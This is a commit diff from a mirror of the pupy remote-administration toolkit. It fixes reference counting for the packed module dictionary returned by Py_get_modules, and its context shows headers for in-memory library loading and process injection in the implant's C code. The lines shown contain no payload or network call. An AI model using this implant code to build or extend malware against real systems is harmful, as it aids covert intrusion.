mirror of https://github.com/n1nj4sec/pupy.git
Manage refcnt for module dicts properly
This commit is contained in:
parent
e96721228a
commit
32a5eb55f5
|
@ -45,10 +45,9 @@ static PyObject *Py_get_modules(PyObject *self, PyObject *args)
|
|||
|
||||
munmap((char *) library_c_start,
|
||||
library_c_size);
|
||||
|
||||
Py_XINCREF(modules);
|
||||
}
|
||||
|
||||
Py_INCREF(modules);
|
||||
return modules;
|
||||
}
|
||||
|
||||
|
|
|
@ -8,6 +8,7 @@
|
|||
#include <windows.h>
|
||||
#include "MyLoadLibrary.h"
|
||||
#include "base_inject.h"
|
||||
|
||||
static char module_doc[] = "Builtins utilities for pupy";
|
||||
|
||||
#ifndef UINTPTR
|
||||
|
@ -60,12 +61,20 @@ static PyObject *Py_set_exit_session_callback(PyObject *self, PyObject *args)
|
|||
|
||||
static PyObject *Py_get_modules(PyObject *self, PyObject *args)
|
||||
{
|
||||
return PyObject_lzmaunpack(
|
||||
static PyObject *modules = NULL;
|
||||
if (!modules) {
|
||||
int rc;
|
||||
|
||||
modules = PyObject_lzmaunpack(
|
||||
library_c_start,
|
||||
library_c_size
|
||||
);
|
||||
}
|
||||
|
||||
Py_INCREF(modules);
|
||||
return modules;
|
||||
}
|
||||
|
||||
static PyObject *
|
||||
Py_get_pupy_config(PyObject *self, PyObject *args)
|
||||
{
|
||||
|
|
Loading…
Reference in New Issue